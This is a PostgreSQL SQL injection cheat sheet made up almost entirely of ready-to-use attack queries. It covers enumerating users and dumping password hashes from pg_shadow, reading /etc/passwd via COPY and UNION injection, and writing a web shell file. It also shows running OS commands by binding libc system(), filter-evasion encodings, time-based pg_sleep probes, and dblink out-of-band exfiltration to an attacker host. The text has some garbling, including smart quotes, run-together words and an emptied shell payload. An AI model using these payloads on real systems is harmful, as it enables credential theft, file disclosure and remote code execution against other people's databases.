note : # postgresql and php supports batched queries. #awesome, huh? version : select version() directories : select current_setting (‘data_directory’) select current_setting (‘hba_file’) select current_setting (‘config_file’) select
note:
#postgresql and php supports batched queries.
#awesome, huh?
version:
select version()
directories:
select current_setting(‘data_directory’)
select current_setting(‘hba_file’)
select current_setting(‘config_file’)
select current_setting(‘ident_file’)
select current_setting(‘external_pid_file’)
users:
select user;
select current_user;
select session_user;
select getpgusername();
current database:
select current_database();
concatenation:
select 1||2||3; #returns 123
get collation:
select pg_client_encoding(); #returns your current encoding (collation).
change collation:
select convert(‘foobar_utf8′,’utf8′,’latin1′); #converts foobar from utf8 to latin1.
select convert_from(‘foobar_utf8′,’latin1′); #converts foobar to latin1.
select convert_to(‘foobar’,'utf8′); #converts foobar to utf8.
select to_ascii(‘foobar’,'latin1′); #converts foobar to latin1.
wildcards in select(s):
select foo from bar where id like ‘test%’; #returns all column(s) starting with “test”.
select foo from bar where id like ‘%test’; #returns all column(s) ending with “test”.
regular expression in select(s):
#returns all columns matching the regular expression.
select foo from bar where id ~* ‘(moo|rawr).*’;
select foo from bar where id similar ‘(moo|rawr).*’;
select without dublicates:
select distinct foo from bar
counting columns:
select count(*) from foo.bar; #returns the amount of rows from the table “foo.bar”.
get amount ofpostgresql users:
select count(*) from pg_catalog.pg_user
getpostgresql users:
select usename from pg_user
getpostgresql user privileges on different columns:
select table_schema,table_name,column_name,privilege_type from information_schema.column_privileges
getpostgresql user privileges:
select usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig from pg_catalog.pg_user
getpostgresql user credentials & privileges:
select usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig from pg_catalog.pg_shadow
getpostgresql dba accounts:
select * from pg_shadow where usesuper is true
select * from pg_user where usesuper is true
get databases:
select nspname from pg_namespace where nspacl is not null
select datname from pg_database
select schema_name from information_schema.schemata
select distinct schemaname from pg_tables
select distinct table_schema from information_schema.columns
select distinct table_schema from information_schema.tables
get databases & tables:
select schemaname,tablename from pg_tables
select table_schema,table_name from information_schema.tables
select distinct table_schema,table_name from information_schema.columns
get databases, tables & columns:
select table_schema,table_name,column_name from information_schema.columns
select a certain row:
select column_name from information_schema.columns limit 1 offset 0; #returns row 0.
select column_name from information_schema.columns limit 1 offset 1; #returns row 1.
…
select column_name from information_schema.columns limit 1 offset n; #returns row n.
conversion (casting):
select cast(’1′ as integer) #converts the varchar “1″ to integer.
substring:
select substr(‘foobar’,1,3); #returns foo.
select substring(‘foobar’,1,3); #returns foo.
hexadecimal evasion:
#not as fancy as in mysql, but it sure works!
select decode(’41424344′,’hex’); #returns abcd.
select decode(to_hex(65), chr(104)||chr(101)||chr(120)); #returns a.
ascii to number:
select ascii(‘a’); #returns 65.
number to ascii:
select chr(65); #returns a.
if statement:
#impossible in select statements.
#however, here’s a work-around with sub-select(s).
select (select 1 where 1=1); #returns 1.
select (select 1 where 1=2); #returns null.
case statement:
#may be used instead of the if-statement.
select case when 1=1 then 1 else 0 end; #returns 1.
read file(s):
create table file(content text);
copy file from ‘/etc/passwd’;
union all select content from file limit 1 offset 0;
union all select content from file limit 1 offset 1;
…
union all select content from file limit 1 offset n;
drop table file;
write file(s):
create table file(content text);
insert into file(content) values (‘’);
copy file(content) to ‘/tmp/shell.php’;
logical operator(s):
#http://en.wikipedia.org/wiki/logical_connective
and
or
not
comments:
select foo, bar from foo.bar/* multi line comment */
select foo, bar from foo.bar– single line comment
a few evasions/methods to use between yourpostgresql statements:
cr (%0d); #carrier return.
lf (%0a); #line feed.
tab (%09); #the tab-key.
space (%20); #most commonly used. you know what a space is.
multiline comment (/**/); #well, as the name says.
parenthesis, ( and ); #can also be used as separators when used right.
parenthesis instead of space:
#as said two lines above, the use of parenthesis can be used as a separator.
select * from foo.bar where id=(-1)union(select(1),(2));
auto-casting to right collation:
select convert_to(‘foobar’,pg_client_encoding());
benchmark:
#takes about 7.5 seconds to perform this logical operation.
#which can be compared to benchmark(md5(1),1500000) on mysql.
select (||/(9999!));
sleep:
select pg_sleep(5); #sleeps thepostgresql database for 5 seconds.
getpostgresql ip:
select inet_server_addr()
getpostgresql port:
select inet_server_port()
command execution:
create or replace function system(cstring) returns int as ‘/lib/libc.so.6′, ‘system’ language ‘c’ strict;
select system(‘echo hello.’);
dns requests (oob (out-of-band)):
select * from dblink(‘host=www.your.host.com user=db_username dbname=db’, ‘select yourquery’) returns (result text);
having fun withpostgresql:
dblink: the root of all evilmapping library functionsfrom sleeping and copying in postgresql 8.2recommendation and preventionintroducing pgshell